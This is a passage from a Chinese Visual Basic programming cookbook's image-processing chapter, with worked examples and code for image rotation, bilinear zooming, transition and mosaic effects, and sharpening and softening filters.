    Y2 = y1 * Cos(radian) - x1 * Sin(radian)       '获得在更改坐标原点旋转后该点的Y坐标
    X3 = X2 + Picture1.ScaleWidth \ 2           '获得恢复坐标原点旋转后的X坐标
    Y3 = Y2 + Picture1.ScaleHeight \ 2            '获得回复坐标原点旋转后的Y坐标
    If angle > 180 And angle < 270 Then H = -Y3
    If angle > 270 And angle <= 360 Then M = -X3
    If angle <= 90 Then picH = Y3
    If angle > 90 And angle < 180 Then picW = X3

    p(0).X = p(0).X + M '--原来的左上角坐标
    p(0).Y = p(0).Y + H
    p(1).X = p(1).X + M
    p(1).Y = p(1).Y + H
    p(2).X = X3 + M '--原来的左下角坐标
    p(2).Y = Y3 + H '
    Picture2.Height = picH + H
    Picture2.Width = picW + M
    Set Picture2.Picture = Nothing
    PlgBlt Picture2.hDC, p(0), Picture1.hDC, 0, 0, Picture1.ScaleWidth, Picture1.ScaleHeight, 0, 0, 0

    Picture2.Refresh
End Sub




秘笈心法

心法领悟553：ScaleMode属性对Width属性的影响。

容器控件有一个ScaleMode属性，其决定了容器控件的分割单位，例如，PictureBox控件的ScaleMode属性设置为3，表示图像框以像素为单位。此时，其Width属性和Height属性等也随之改变。



 实例554　二次线性插值法缩放图像

光盘位置：光盘\MR\19\554

高级

趣味指数：[image: ]




实例说明

图像放大缩小是最经常使用的图像处理操作，指的是将图像的画面放大或者缩小，而其在磁盘上占用的存储空间不变。一般的图像处理方法对图像进行缩放后，都会导致图像失真，影响图像显示效果。这里使用二次线性插值法对图片进行缩放，可以减少图片缩放后的失真现象。使用二次线性插值法缩放图片程序运行界面如图19.7所示。

[image: ]
图19.7　二次线性插值法缩放图像



关键技术

这里使用二次线性插值法实现对图片的缩放。二次线性插值法是将计算得到的像素点插入到两个原像素点之间，以达到当图像放大后减少图像失真的效果。

假设一个图像要在原有基础上扩大3倍，例如，下面的A、B、C、D 4个点坐标关系如图19.8所示。图中稍小的黑点是将图片扩大3倍要插入的点，因为像素值分为R、G、B 3种颜色，所以要分别计算出这些点的R、G、B 值。下面以红色值为例介绍计算这些点的像素值的方法。

[image: ]
图19.8　二次线性插值示意图



从图19.8可以看出，插入点AB1离点A和点B两个像素点最近。其像素值（这里以红色像素值为例）为：

AB1 = A +(A-B)/3

插入点AC1的像素值为：

AC1 = A + (A-C)/3

插入点AB1C1的像素值为：

AB1C1=AC1+(AC1-BD1)/3

这就是二次线性插值的基本算法思想，其他点的计算方法与此相同，这里不再赘述。图像放大4倍后的效果如图19.9所示。

[image: ]
图19.9　图像缩放对比效果



设计过程

（1）新建工程，将窗体的Caption属性设置为“二次线性插值法缩放图像”。

（2）在窗体上添加一个Frame控件。在Frame控件上添加3个CommandButton控件；一个HScrollBar控件和一个文本框，按照如图19.7所示界面进行布局，并分别进行属性设置。

（3）在窗体上添加一个PictureBox控件，并命名为PicFrame；在PicFrame上添加两个PictureBox控件，分别用于存储图像和显示图像的处理效果。它们的AutoRedraw属性全部设置为True。

（4）二次线性插值算法实现代码如下：



'*************************************************************************
'二次线性插值法实现图片缩放
Public Sub Zoom(ByVal outputwidth As Long, ByVal outputheight As Long)
    '变量定义部分省略，省略部分参见光盘中源代码
    On Error GoTo Err1
    i = (Bits \ 8) - 1
    ReDim ColTmp(i, InPutWid, outputheight)                         '存放当前像素值
    ReDim ColOut(i, outputwidth, outputheight)                        '存放输出像素值
    Xratio = outputwidth / InPutWid                                '图像宽度缩放比例
    Yratio = outputheight / InPutHei                                '图像高度缩放比例
    NegN = 1 / Int(Yratio + 1)
    For X = 0 To InPutWid                                         '先在纵坐标方向缩放
        CurR = ColVal(0, X, 0)                                    '将当前点颜色值赋给变量
        CurG = ColVal(1, X, 0)
        CurB = ColVal(2, X, 0)
        CurStep = 0
        NxtStep = 0
        For Y = 0 To InPutHei - 1
            NxtStep = CurStep + Yratio                            '根据缩放比例计算下一点值
            Yc = CurStep
            Yn = NxtStep
            N = Yn - Yc
            ColTmp(0, X, Yc) = CurR
            ColTmp(1, X, Yc) = CurG
            ColTmp(2, X, Yc) = CurB
            NxtR = ColVal(0, X, Y + 1)
            NxtG = ColVal(1, X, Y + 1)
            NxtB = ColVal(2, X, Y + 1)
            If N > 1 Then                                    '计算插入点值
                DRt = (NxtR - CurR) * NegN
                DGt = (NxtG - CurG) * NegN
                DBt = (NxtB - CurB) * NegN
                DR = 0
                DG = 0
                DB = 0
                For J = Yc + 1 To Yn - 1
                    DR = DR + DRt
                    DG = DG + DGt
                    DB = DB + DBt
                    ColTmp(0, X, J) = CurR + DR                          '插入点像素值
                    ColTmp(1, X, J) = CurG + DG
                    ColTmp(2, X, J) = CurB + DB
                Next
            End If
            CurStep = NxtStep
            CurR = NxtR
            CurG = NxtG
            CurB = NxtB
        Next
        ColTmp(0, X, outputheight) = NxtR
        ColTmp(1, X, outputheight) = NxtG
        ColTmp(2, X, outputheight) = NxtB
    Next
    NegN = 1 / Int(Xratio + 1)
    For Y = 0 To outputheight                                    '从横坐标方向进行缩放
        CurR = ColTmp(0, 0, Y)
        CurG = ColTmp(1, 0, Y)
        CurB = ColTmp(2, 0, Y)
        CurStep = 0
        NxtStep = 0
        For X = 0 To InPutWid - 1
            NxtStep = CurStep + Xratio
            Xc = CurStep
            Xn = NxtStep
            N = Xn - Xc
            ColOut(0, Xc, Y) = CurR
            ColOut(1, Xc, Y) = CurG
            ColOut(2, Xc, Y) = CurB
            NxtR = ColTmp(0, X + 1, Y)
            NxtG = ColTmp(1, X + 1, Y)
            NxtB = ColTmp(2, X + 1, Y)
            If N > 1 Then
                DRt = (NxtR - CurR) * NegN
                DGt = (NxtG - CurG) * NegN
                DBt = (NxtB - CurB) * NegN
                DR = 0
                DG = 0
                DB = 0
                For J = Xc + 1 To Xn – 1                            '计算插入点
                    DR = DR + DRt
                    DG = DG + DGt
                    DB = DB + DBt
                    ColOut(0, J, Y) = CurR + DR                        '插入点像素值
                    ColOut(1, J, Y) = CurG + DG
                    ColOut(2, J, Y) = CurB + DB
                Next
            End If
            CurStep = NxtStep
            CurR = NxtR
            CurG = NxtG
            CurB = NxtB
        Next
        ColOut(0, outputwidth, Y) = NxtR                            '将下一点像素值赋给当前变量
        ColOut(1, outputwidth, Y) = NxtG
        ColOut(2, outputwidth, Y) = NxtB
    Next
OutPutWid = outputwidth
OutPutHei = outputheight
    Exit Sub
Err1:
    MsgBox Err.Description
End Sub




在对图片进行缩放后，如果需要保存缩放后的效果图，单击“保存”按钮，选择要保存的路径即可保存缩放后的图片，程序代码如下：



Private Sub Command2_Click()
    CommonDialog1.Filter = "Supported files|*.bmp;*.gif;*.jpg;*.png;*.tif|BMP 文件(*.BMP)|*.BMP|JPG 文件(*.JPG)|*.JPG|GIF 文件(*.GIF)|*.GIF|PNG 文件(*.PNG)|*.PNG|TIF 文件(*.TIF)|*.TIF"
    CommonDialog1.FileName = ""                                '对话框上文件名显示为空
    CommonDialog1.ShowSave                                             '显示保存对话框
    CommonDialog1.Flags = &H2 + &H4 + &H8
    If CommonDialog1.FileName <> "" Then
        SavePicture Picture2.Image, CommonDialog1.FileName                '保存图像
    End If
End Sub




秘笈心法

心法领悟554：Image属性的使用。

Image属性返回持久图形的句柄，使用API函数和PaintPicture函数可以获得持久图形。AutoRedraw 属性可以引起Image改变，Image是指向位图的句柄。当AutoRedraw为True时，对象的hDC属性成为指向设备描述体的句柄，该设备描述体包含Image返回的位图。

使用Image的值为Picture属性赋值可以将Image返回的位图传递给图形框的Picture属性。但是，当Image位图大小小于PictureBox控件的原来大小时，若是使用Image的值为Picture属性赋值，将不会获取Image值。Picture属性值为0。此时若将PictureBox控件的Picture属性赋值为空，再使用Image为其赋值就不会产生问题了。


 19.2　图像显示特效



 实例555　图像切换特效

光盘位置：光盘\MR\19\555

中级

趣味指数：[image: ]




实例说明

这里的图像动态切换显示是类似于两张牌切换的效果，例如，向上覆盖效果，看起来就是两张图像叠放在一起，同时上下方向拉动图片（显示在上面的图像向上拉，下面的图像向下拉），然后使底下的图像覆盖在上面，实现图像的切换，其向上覆盖的效果如图19.10所示。

[image: ]
图19.10　图像切换效果



关键技术

图像特效显示的原理其实很简单，即是将图像分块，然后按照指定的顺序、方式先后显示出来，以达到一个特效的效果。

图19.10显示的是向下切换的一个特效。该特效是将图像分成多行（也就是多块），每次向下绘制相应的一行图像，直到图像全部显示出来为止。这里使用一个图片充当背景图，这样能够更好地显示图像切换的动态效果。

显示图像特效的3个要点如下：

（1）将图像分块

将图像分块是很重要的部分，它决定了图像显示的效果。例如，上下方向的扫描要将图像分成多行；左右方向扫描的效果要将图像分成多列；马赛克效果要将图像分成多个正方形等。所以要根据需要显示的效果设计图像每块的形状是很重要的部分。

（2）确定图像块的显示顺序

图像块的显示顺序同样决定了特效显示的效果。如图19.10中显示的向下扫描，图像块的显示顺序就是从上至下。显示顺序可以是从上至下、从下至上、从左至右或者从右至左，也有随机显示的特效，例如，马赛克特效或者随机扫描线特效等。

（3）图像块的显示

确定了图像块以及图像块的显示顺序后，接下来一个十分重要的工作就是将图像块显示出来了。这里利用了API函数BitBlt来显示图像块。


说明：
 BitBlt函数的详细讲解请参见实例459中的关键技术。

另外，在特效的显示过程中，延时处理也很重要，可以决定图像特效的显示速度与质量。因为计算机处理速度很快，为了更好地显示特效效果，使用了延时函数来控制特效显示的速度。这里使用Sleep函数来进行延时。

Sleep函数用于使当前线程等待一段时间，语法如下：



Public Declare Sub Sleep Lib "kernel32" Alias "Sleep" (ByVal dwMilliseconds As Long)




其只有一个参数，用于输入一个要等待的时间数，单位为毫秒。例如，要等待一秒钟，则写成如下代码：



Sleep (1000)




设计过程

（1）新建一个VB工程，将窗体的Caption属性设置为“图像切换特效”。

（2）在窗体上添加3个PictureBox控件，Picture2和Picture3各添加一副图片，用作显示切换的图片。

（3）在窗体上添加4个CommandButton控件，分别设置Caption属性为“上”、“下”、“左”和“右”。

（4）实现图像动态切换效果的代码如下：



Public Sub move(DestPic As PictureBox, PrevPic As PictureBox, NewPic As PictureBox, Optional Side As Side_all, Optional Steps As Long = 1)
    Dim r1 As Long, i As Long, j As Long, t As Long
    Dim RRate As Long, crd As Long
    Dim sLen As Long
    Set DestPic.Picture = PrevPic.Picture
    If Side > 2 Then
        sLen = DestPic.ScaleWidth \ 2
    Else
        sLen = DestPic.ScaleHeight \ 2
    End If
    mblnRunning = True
    '开始循环
    Do While mblnRunning
        '
        If Side = sup Then                                            '向上
            BitBlt DestPic.hdc, 0, 0, DestPic.ScaleWidth, DestPic.ScaleHeight - crd, PrevPic.hdc, 0, crd, SRCCOPY
            BitBlt DestPic.hdc, 0, DestPic.ScaleHeight - crd, DestPic.ScaleWidth, crd, NewPic.hdc, 0, DestPic.ScaleHeight - (2 * crd), SRCCOPY
        ElseIf Side = sdown Then                                        '向下
            BitBlt DestPic.hdc, 0, crd, DestPic.ScaleWidth, DestPic.ScaleHeight - crd, PrevPic.hdc, 0, 0, SRCCOPY
            BitBlt DestPic.hdc, 0, 0, DestPic.ScaleWidth, crd, NewPic.hdc, 0, crd, SRCCOPY
        ElseIf Side = sleft Then                                            '向左
            BitBlt DestPic.hdc, 0, 0, DestPic.ScaleWidth - crd, DestPic.ScaleHeight, PrevPic.hdc, crd, 0, SRCCOPY
            BitBlt DestPic.hdc, DestPic.ScaleWidth - crd, 0, crd, DestPic.ScaleHeight, NewPic.hdc, DestPic.ScaleWidth - (2 * crd), 0, SRCCOPY
        ElseIf Side = sright Then                                            '向右
            BitBlt DestPic.hdc, crd, 0, DestPic.ScaleWidth - crd, DestPic.ScaleHeight, PrevPic.hdc, 0, 0, SRCCOPY
            BitBlt DestPic.hdc, 0, 0, crd, DestPic.ScaleHeight, NewPic.hdc, crd, 0, SRCCOPY
        End If
        crd = crd + Steps
        DestPic.Refresh
        If crd >= sLen Then
            '超出范围，结束循环
            mblnRunning = False
        End If
        Sleep (100)                                                '延时
        DoEvents
    Loop
    mblnRunning = True
    '开始循环
    Do While mblnRunning
        If crd < 0 Then
            mblnRunning = False
            Set DestPic.Picture = NewPic.Picture
            Exit Sub
        End If
        If Side = sup Then
            '向上的图像
            BitBlt DestPic.hdc, 0, 0, DestPic.ScaleWidth, crd, PrevPic.hdc, 0, crd, SRCCOPY
            '向下移动的新图像
            BitBlt DestPic.hdc, 0, crd, DestPic.ScaleWidth, DestPic.ScaleHeight - crd, NewPic.hdc, 0, 0, SRCCOPY
        ElseIf Side = sdown Then
            '向上的图像
            BitBlt DestPic.hdc, 0, crd, DestPic.ScaleWidth, DestPic.ScaleHeight - crd, PrevPic.hdc, 0, 0, SRCCOPY
            '向下的图像
            BitBlt DestPic.hdc, 0, 0, DestPic.ScaleWidth, DestPic.ScaleHeight - crd, NewPic.hdc, 0, crd, SRCCOPY
        ElseIf Side = sleft Then
            BitBlt DestPic.hdc, 0, 0, crd, DestPic.ScaleHeight, PrevPic.hdc, crd, 0, SRCCOPY
            '向右移动的新图像
            BitBlt DestPic.hdc, crd, 0, DestPic.ScaleWidth - crd, DestPic.ScaleHeight, NewPic.hdc, 0, 0, SRCCOPY
        ElseIf Side = sright Then
            '向左的图像
            BitBlt DestPic.hdc, crd, 0, DestPic.ScaleWidth - crd, DestPic.ScaleHeight, PrevPic.hdc, 0, 0, SRCCOPY
            '向右的图像
            BitBlt DestPic.hdc, 0, 0, DestPic.ScaleWidth - crd, DestPic.ScaleHeight, NewPic.hdc, crd, 0, SRCCOPY
        End If
        crd = crd - Steps
        '刷新图像
        DestPic.Refresh
        Sleep (10)
        DoEvents
    Loop
    mblnRunning = False
End Sub




秘笈心法

心法领悟555：卸载窗体对PictureBox 控件的影响。

当卸载窗体后PictureBox控件中动态加载的图像将会消失，如果此时使用被卸载窗体中的图像控件的Picture属性将获取不到图像，例如，在图片处理模块中利用主窗体中的Picture2中的图像生成滤镜窗体中的新图像，如果在加载新窗体前卸载了主窗体则打开滤镜窗体后将获取不到图像。



 实例556　电影胶片特效

光盘位置：光盘\MR\19\556

中级

趣味指数：[image: ]




实例说明

在多媒体软件当中，如果让相关图片按顺序循环滚动（例如，循环展示商品图片），多媒体程序一定会增色不少。运行程序，在窗体中将从左到右连续播放不同的图片，呈现了一种电影胶片的效果，并且每张胶片中的图片都在不断地动态变换，效果如图19.11所示。

[image: ]
图19.11　电脑胶片特效



关键技术

在窗体中放置一个PictureBox控件数组，通过在Timer控件中控制显示PictureBox控件数组中元素的移动来实现电影胶片的特殊效果。

设计过程

（1）新建一个标准工程，创建一个新窗体，设置其Caption属性为“电影胶片特效”。

（2）在窗体上添加一个PictureBox控件数组（Picture1(0)～Picture1(3)），分别设置控件的Picture属性，在控件上加载图片。

（3）在窗体上添加一个Timer控件。

（4）主要程序代码如下：



Private Sub Form_Load()
    Picture1(0).Left = 0
    Picture1(1).Left = Picture1(0).Width
    Picture1(2).Left = Picture1(0).Width + Picture1(0).Width
    Picture1(3).Left = -Picture1(3).Width
    Picture1(3).Top = Picture1(0).Top
    x = 10
    Timer1.Enabled = True
    Timer1.Interval = 10
   
End Sub
Private Sub Timer1_Timer()
    For i = 0 To 3
        Picture1(i).Left = Picture1(i).Left + x
        If Picture1(i).Left >= Form1.ScaleWidth Then                '移动图像框位置
            Picture1(i).Left = -Picture1(i).Width
        End If
    Next i
End Sub




秘笈心法

心法领悟556：使用Timer控件制作简单动画。

Timer控件能够在指定的时间内触发Timer事件，在Timer事件内设置图像的不同样式，这样在程序运行时，随着Timer事件的执行，就能够产生图像动态显示的效果。



 实例557　图片百叶窗效果

光盘位置：光盘\MR\19\557

中级

趣味指数：[image: ]




实例说明

在一些多媒体教学软件中，常常可以看到图像的显示特效，包括图像之间的过渡特效，这些特效给软件本身增色不少。运行程序，单击“从上到下”按钮，窗体中的图片将从上到下被一些网线所分割，单击“从左到右”按钮，图片将从左到右被一些网线所分割，呈现百叶窗效果，如图19.12所示。

[image: ]
图19.12　图像百叶窗效果



关键技术

通过PictureBox控件的PaintPicture方法来实现在窗体的Picture控件中显示图片百叶窗的效果。将图片分成条，然后将图像一块一块地画上去，就产生了百叶窗的效果。

设计过程

（1）新建一个标准工程，创建一个新窗体。

（2）在窗体中添加两个PictureBox控件；添加3个CommmandButton控件，分别设置控件的Caption属性为“从上到下”、“从左到右”和“退出”。

（3）主要程序代码如下：



Private Sub Command1_Click()       '从上到下变换
    Picture1.Visible = False
    Set Picture2.Picture = Nothing
    For i = 0 To countx - 1 Step 3
        Picture2.PaintPicture Picture1.Picture, 0, i * 5, , , 0, i * 5, Picture2.Width, _
                              5, vbSrcCopy
        DoEvents
        Sleep (10)
    Next i
    For i = 0 To countx - 1 Step 2
        Picture2.PaintPicture Picture1.Picture, 0, i * 5, , , 0, i * 5, Picture2.Width, _
                              5, vbSrcCopy
        DoEvents
        Sleep (10)
    Next i
    For i = 0 To countx - 1 Step 1
        Picture2.PaintPicture Picture1.Picture, 0, i * 5, , , 0, i * 5, Picture2.Width, _
                              5, vbSrcCopy
        DoEvents
        Sleep (10)
    Next i
End Sub




秘笈心法

心法领悟557：使用DoEvents转让控制权。

当程序执行耗时较长时，一般为了不影响操作系统处理其他事件，可以使用DoEvents语句将控制权转让。当操作系统处理完队列中的事件，并且在SendKeys队列中的所有键也都已送出之后，返回控制权。



 实例558　栅条显示特效

光盘位置：光盘\MR\19\558

中级

趣味指数：[image: ]




实例说明

栅条显示特效也是比较好的现实效果，是将图像分块并移动显示。本程序实现水平栅条和垂直栅条显示效果，程序的运行效果如图19.13所示。

关键技术

通过PictureBox控件的PaintPicture方法来实现在窗体的Picture控件中显示图片栅条的效果。同样是将图像分割成不同的块，然后不断变化图像块的位置和大小，来实现动态的栅条的效果。

[image: ]
图19.13　栅条显示特效



设计过程

（1）新建一个标准工程，创建一个新窗体。

（2）在窗体中添加两个PictureBox控件；添加3个CommmandButton控件，分别设置控件的Caption属性为“水平栅条”、“垂直栅条”和“退出”。

（3）主要程序代码如下：



Private Sub Command1_Click()               '水平栅条
    Dim i As Integer
    Dim j As Integer
    Picture1.Visible = False
    Set Picture2.Picture = Nothing        '清空图像
    For i = 1 To countx
        For j = 0 To county - 1 Step 2
            Picture2.PaintPicture Picture1.Picture, 0, j * 5, , , Picture1.ScaleWidth - (i * 5), j * 5, i * 5, 5, vbSrcCopy
            Picture2.PaintPicture Picture1.Picture, Picture2.ScaleWidth - i * 5, j * 5 + 5, , , 0, j * 5 + 5, i * 5, 5, vbSrcCopy
            DoEvents
        Next j
    Next i
End Sub
Private Sub Command2_Click()              '垂直栅条
    Dim i As Integer
    Dim j As Integer
    Picture1.Visible = False
    Set Picture2.Picture = Nothing
    For i = 1 To county
        For j = 0 To countx - 1 Step 2
            Picture2.PaintPicture Picture1.Picture, j * 5, 0, , , j * 5, Picture1.ScaleHeight - (i * 5), 5, i * 5, vbSrcCopy
            Picture2.PaintPicture Picture1.Picture, j * 5 + 5, Picture2.ScaleHeight - i * 5, , , j * 5 + 5, 0, 5, i * 5, vbSrcCopy
            DoEvents
        Next j
    Next i
End Sub




秘笈心法

心法领悟558：恰当地使用AutoRedraw属性。

使用AutoRedraw属性会使图像重绘，增加内存处理量，会减慢图像的显示速度，因此应恰当地使用AutoRedraw属性。



 实例559　图像马赛克效果

光盘位置：光盘\MR\19\559

中级

趣味指数：[image: ]




实例说明

马赛克显示特效是将图像分成大小相等的小方块，然后随机地显示小方块。马赛克显示特效是一种很好的图像显示效果，图19.14显示了马赛克显示图像特效的过程。

[image: ]
图19.14　图像马赛克效果



关键技术

马赛克显示特效为图像分块是将图像分成大小相等的小方块，每个小方块就是一个图像块。显示顺序是随机显示。下面介绍马赛克特效的显示方法。

定义一个变量nSize用于表示图像块的边长，以方便对图像分块。然后根据图像块的大小确定图像块的数量。定义一个Point类型，此类型包含x、y两个元素，这两个元素分别用于存放图像块的x、y方向的坐标值。声明一个Point类型的数组，用于存放每个图像块的信息，即坐标值。

按照一行一行的顺序计算出图像块的坐标值，并按顺序存放在数组中。然后使用循环语句和随机函数将数组中本来有顺序的图像块打乱，具体代码参见下面文稿。这样再按照顺序取出数组元素中坐标值的图像块画到目标图像上就产生了随机显示图像块的效果（数组标号是从0到图像块的个数值，但是每个数组元素中存放的坐标值经过了随机变换）。下面的实例实现马赛克特效显示。下面简单介绍设计过程。

本实例窗体设计很简单，使用了3个PictureBox控件，其中Picture1用于作为显示特效的图片框，另外两个图片框分别用于存放两张图片。本实例是实现两张图片交替显示的效果，所以这里用了两张图片。在窗体执行马赛克特效显示的命令后，即可实现马赛克特效。并且切换完成后还可以继续进行切换，就是两张图片都是以马赛克特效交替显示出来的效果。

设计过程

（1）新建一个VB工程，将窗体的Caption属性设置为“图像马赛克效果”。

（2）在窗体上添加3个PictureBox控件，Picture2和Picture3各添加一幅图片，用作显示马赛克效果的图片。

（3）在窗体上添加一个CommandButton控件，设置Caption属性为“马赛克效果”。

（4）主要程序代码如下：



Public Sub Mosaic(DestPic As PictureBox, NewPic As PictureBox)
    Dim nSize As Long, nCount As Long
    Dim nRw, nRh, r1
    Dim slen As Long
    Dim tx, ty
    Dim i As Long, j As Integer
    Dim X_Arr() As point
    nRw = nRh = 0
    nSize = 20
    If DestPic.ScaleWidth Mod nSize <> 0 Then nRw = 1
    If DestPic.ScaleHeight Mod nSize <> 0 Then nRh = 1
    nCount = (DestPic.ScaleWidth \ nSize + nRw) * (DestPic.ScaleHeight \ nSize + nRh)
    ReDim X_Arr(nCount)
    For i = 1 To nCount
        X_Arr(i).x = (i Mod (DestPic.ScaleWidth \ nSize + nRw)) * 20
        X_Arr(i).y = (i \ (DestPic.ScaleWidth \ nSize + nRw)) * 20
    Next
    'Mixing table!
    Randomize
    For j = 1 To 3
        For i = 1 To nCount                            '随机添加图像块位置
            r1 = CInt(Rnd * nCount)
            tx = X_Arr(r1).x
            ty = X_Arr(r1).y
            X_Arr(r1).x = X_Arr(i).x
            X_Arr(r1).y = X_Arr(i).y
            X_Arr(i).x = tx
            X_Arr(i).y = ty
        Next
    Next
    For i = 0 To nCount                                '画出图像块
        BitBlt DestPic.hdc, X_Arr(i).x, X_Arr(i).y, nSize, nSize, NewPic.hdc, X_Arr(i).x, X_Arr(i).y, SRCCOPY
        Sleep (10)    
        DestPic.Refresh
    Next
End Sub




秘笈心法

心法领悟559：显示顺序影响图像的显示特效。

马赛克特效在显示顺序上很有特点，是随机的显示方式。可以看出，显示顺序对特效的显示效果影响很大，即使用不同的算法显示图像块，这也是读者需要思考的地方。



 实例560　雨滴显示特效

光盘位置：光盘\MR\19\560

中级

趣味指数：[image: ]




实例说明

雨滴显示特效也是一种十分艺术的显示效果，顾名思义，雨滴特效就是让图像显示犹如雨滴落下一样的效果。本实例实现图像的雨滴显示特效，程序的运行效果如图19.15所示。

[image: ]
图19.15　图片的雨滴效果



关键技术

雨滴显示具体过程是将被显示的行从最上面移动至目标位置，保留移动行图像在屏幕上留下的轨迹。

这里利用API函数BitBlt、CreateCompatibleDC、SelectObject和DeleteDC实现图片的雨滴效果。

（1）SelectObject函数

每个设备场景都可能选入其中的图形对象。其中包括位图、刷子、字体、画笔以及区域等。一次选入设备场景的只能有一个对象。选定的对象会在设备场景的绘图操作中使用。例如，当前选定的画笔决定了在设备场景中描绘的线段颜色及样式。

声明语句如下：



Public Declare Function SelectObject Lib "gdi32" Alias "SelectObject" (ByVal hdc As Long, ByVal hObject As Long) As Long




参数说明

❶hdc：Long，一个设备场景的句柄。

❷hObject：Long，一个画笔、位图、刷子、字体或区域的句柄。

返回值：Long，与以前选入设备场景的相同hObject类型的一个对象的句柄，0表示出错。如选定的对象是一个区域（Region），结果就是通过下列常数之一：SIMPLEREGION，COMPLEXREGION 或 NULLREGION 对区域进行描述，GDI_ERROR 表示出错。


说明：
 返回值通常用于获得选入DC对象的原始值。绘图操作完成后，原始的对象通常选回设备场景。在清除一个设备场景前，务必注意恢复原始的对象。

（2）DeleteDC函数

该函数用于删除专用设备场景或信息场景，释放所有相关窗口资源，不要将它用于GetDC函数取回的设备场景。若有对象被选入设备场景，则在调用本函数前应将它们选出。为此，可将初始对象回选入DC，也可用SaveDC，RestoreDC函数对回复DC为其创建时的状态。

在VB里使用不要将它用于由vb hdc属性获取的设备场景句柄。


说明：
 BitBlt、CreateCompatibleDC和DeleteDC函数的详细讲解请参见实例459中的关键技术。

设计过程

（1）新建工程，将窗体Caption属性设置为“图片的雨滴效果”。

（2）在窗体上添加一个PictureBox控件。

（3）在窗体上添加两个CommandButton控件，分别设置Caption属性为“打开图片”和“雨滴效果”。

（4）主要程序代码如下：



Private Sub Command2_Click()    '雨滴效果
 
    Dim i, j As Long
    Dim MyHeight As Long, MyWidth As Long
    Dim hMemDc As Long
    'stdPicture的度量单位是Himetric，所以要转换成Pixel
    MyHeight = ScaleY(Pic.Height, vbHimetric, vbPixels)
    If MyHeight > Picture1.ScaleHeight Then
        MyHeight = Picture1.ScaleHeight
    End If
    MyWidth = ScaleX(Pic.Width, vbHimetric, vbPixels)
    If MyWidth > Picture1.ScaleWidth Then
        MyWidth = Picture1.ScaleWidth
    End If
    '创建 Memory DC
    hMemDc = CreateCompatibleDC(Picture1.hdc)
    '将Picture1的BitMap图指定给hMemDc
    Call SelectObject(hMemDc, Pic.Handle)
    For i = MyHeight To 1 Step -1
        Call BitBlt(Picture1.hdc, 0, i, MyWidth, 1, hMemDc, 0, i, SRCCOPY)
        For j = i - 1 To 1 Step -1
            Call BitBlt(Picture1.hdc, 0, j, MyWidth, 1, hMemDc, 0, i, SRCCOPY)
        Next j
    Next
    Call DeleteDC(hMemDc)
End Sub




秘笈心法

心法领悟560：使用ScaleHeight和ScaleWidth属性创建比例尺。

能够使用这些属性来为绘图或打印创建一个自定义的坐标比例尺。例如，语句 ScaleHeight = 100将改变窗体实际内部高度的度量单位。取代当前高度为n个单位（如缇、像素等），高度将变为100个自定义单位。因而，50个单位的距离就是对象的高度/宽度的一半，101个单位的距离将超出对象1个单位。


 19.3　常见滤镜效果



 实例561　图像锐化处理

光盘位置：光盘\MR\19\561

中级

趣味指数：[image: ]




实例说明

图像的锐化是为了强调图像的边缘和细节使图像清晰起来，在大多图像处理软件中都有图像锐化的功能，程序的运行效果如图19.16所示。

[image: ]
图19.16　图像锐化效果



关键技术

通常采用提高相邻像素点的灰度差来实现图像的锐化。这里使用的算法为当前像素值加上和周围像素平均值的差。例如，如图19.17所示图中A、B、C、D 4点中，计算A点的像素值，可以使用下面的算法。

A=A+(A-(B+C+D)/3)*Ratio

[image: ]
图19.17　像素示意图



其中的Ratio是锐化度，改变这个值可以实现不同的锐化效果。

设计过程

（1）新建一个VB工程，将窗体的Caption属性设置为“图像锐化”。

（2）在窗体上添加3个PictureBox控件，Picture1添加一幅图片，用作锐化处理的图片。Picture3用来显示得到的锐化后的图像。设置这3个PictureBox控件的ScaleMode属性值为3-Pixel。

（3）在窗体上添加一个CommandButton控件，设置Caption属性为“锐化”。

（4）主要程序代码如下：



Public Sub Sharp(Optional ByVal Level As Single = 5)
    Dim X As Long                                            '记录当前横坐标值
    Dim Y As Long                                            '记录当前纵坐标值
    Dim D1 As Single
    Dim TemplateSize
    Dim Sensitivity
    Dim RR As Long, GG As Long, BB As Long                            '相邻点平均值
    On Error GoTo Err1
    OutPutWid = InPutWid
    OutPutHei = InPutHei
    D1 = -Level / 3
    For X = 0 To OutPutWid - 1
        For Y = 0 To OutPutHei - 1
            R = ColOut(0, X, Y) * (Level + 1)
            G = ColOut(1, X, Y) * (Level + 1)
            B = ColOut(2, X, Y) * (Level + 1)
             '计算周围点和值
            RR = CLng(ColOut(0, X + 1, Y + 1)) + ColOut(0, X, Y + 1) + ColOut(0, X + 1, Y)
            GG = CLng(ColOut(1, X + 1, Y + 1)) + ColOut(1, X, Y + 1) + ColOut(1, X + 1, Y)
            BB = CLng(ColOut(2, X + 1, Y + 1)) + ColOut(2, X, Y + 1) + ColOut(2, X + 1, Y)
            RR = RR * D1
            GG = GG * D1
            BB = BB * D1
             '输出点像素值
            R = R + RR            
            G = G + GG
            B = B + BB
             '判断像素值是否在规定范围内
            If R < 0 Then R = 0
            If R > 255 Then R = 255
            If G < 0 Then G = 0
            If G > 255 Then G = 255
            If B < 0 Then B = 0
            If B > 255 Then B = 255
                '为输出点像素赋值
            ColOut(0, X, Y) = R
            ColOut(1, X, Y) = G
            ColOut(2, X, Y) = B
        Next
    Next
    Done = True
    Exit Sub
Err1:
    MsgBox Err.Description
End Sub




秘笈心法

心法领悟561：滤镜算法的实现。

所谓滤镜效果其本质上是通过图像像素间的点运算实现的。因为RGB色彩模型是对机器可见的色彩空间，也就是在实现图像像素点运算时，对像素数组中的RGB色彩分量进行适当操作和调整是实现滤镜的一条思路。而本章中的滤镜效果都是基于此原理实现的。



 实例562　图像柔化处理

光盘位置：光盘\MR\19\562

中级

趣味指数：[image: ]




实例说明

图像柔化与图像锐化效果正好相反，是使图像产生模糊效果，有一种朦胧感，程序的运行效果如图19.18所示。

[image: ]
图19.18　图像柔化效果



关键技术

柔化算法也与锐化算法相反，就是用当前点周围的几个点像素值的平均值代替当前点。

设计过程

（1）新建一个VB工程，将窗体的Caption属性设置为“图像柔化”。

（2）在窗体上添加3个PictureBox控件，Picture1添加一幅图片，用作柔化处理的图片。Picture3用来显示得到的柔化后的图像。设置这3个PictureBox控件的ScaleMode属性值为3-Pixel。

（3）在窗体上添加一个CommandButton控件，设置Caption属性为“柔化”。

（4）主要程序代码如下：



Public Sub Soft(Optional ByVal Level As Single = 100)
    Dim X As Long
    Dim Y As Long
    Dim RR As Long, GG As Long, BB As Long
    On Error GoTo Err1
    OutPutWid = InPutWid
    OutPutHei = InPutHei
    Dim D1 As Single
    Dim D2 As Single
    D1 = 101 - Level
    D2 = D1 + 8
    For X = 1 To OutPutWid - 1
        For Y = 1 To OutPutHei - 1
